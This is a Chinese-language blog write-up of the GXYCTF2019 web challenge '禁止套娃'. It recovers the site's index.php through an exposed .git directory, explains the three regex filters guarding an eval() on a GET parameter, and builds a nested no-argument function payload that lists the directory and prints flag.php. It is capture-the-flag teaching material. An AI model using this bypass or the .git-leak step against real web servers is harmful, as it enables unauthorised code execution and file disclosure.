[GXYCTF2019]禁止套娃
发布时间:2020/07/20 作者:linmoumou 浏览(415) 评论(23) 分类【CTF】 文章来源:博主原创
- .git泄露
- php代码审计
- RCE
考点
解题
刚开始不知道干嘛,就注册做题思路,扫目录,抓包,都没上面思路,后面尝试了下,.git 泄露用githack扫一下
xxxxxxxxxx
GitHack.py http://d0f994d0-3653-4d8b-98bc-57d26a9a0bab.node3.buuoj.cn/.git/
得到index.php
xxxxxxxxxx
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
就是用三个正则做了过滤:
第一个:过滤了php伪协议php://
、data://
、filter://
、pahr://
第二个:
xxxxxxxxxx
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
preg_replace正则替换,\((?R)?\)
表示递归执行前面的正则,这个正则就是,循环吧小写字母,()_替换为空, if判断是不是只留下了;
第三个:过滤了 /et、na、indo
等一些命令执行关键字
绕过上面上个正则就可以@eval($_GET['exp']);
通过这个做一个命令执行
一步一步来,先看看当前文件夹下面有啥
1、print_r(scandir('.'));,但是这样顾虑下来还会留下'.'首页要换一个东西替换这个.
号
xxxxxxxxxx
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。
子要这样组合就把这个.
变成了全是小写字母和括号
返回了
xxxxxxxxxx
Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )
2、我们已经把问价名都拿到了,那我们不是只要读到倒数第二个flag.php就好了,正常是highlight_file("flag.php");
这样的,但是这样就过不了第二个正则表达式,那我们就尝试读数组的第三个,第一个想到是的是next但是next不能多层嵌套,一个next只能读到第二个,那么是不是把数组倒序排列就好了
array_reverse()
语法
xxxxxxxxxx
array_reverse(array,preserve)
参数 | 描述 |
---|---|
array | 必需。规定数组。 |
preserve | 可选。规定是否保留原始数组的键名。这个参数是 PHP 4.0.3 中新加的。可能的值:truefalse |
技术细节
返回值: | 返回反转后的数组。 |
---|---|
PHP 版本: | 4+ |
更新日志: | 在 PHP 4.0.3 中新增了 preserve 参数。 |
那网页我们的payload就出来了:highlight_file(next(array_reverse(scandir(pos(localeconv())))));
关键字词:CTF,2019GXYCTF,web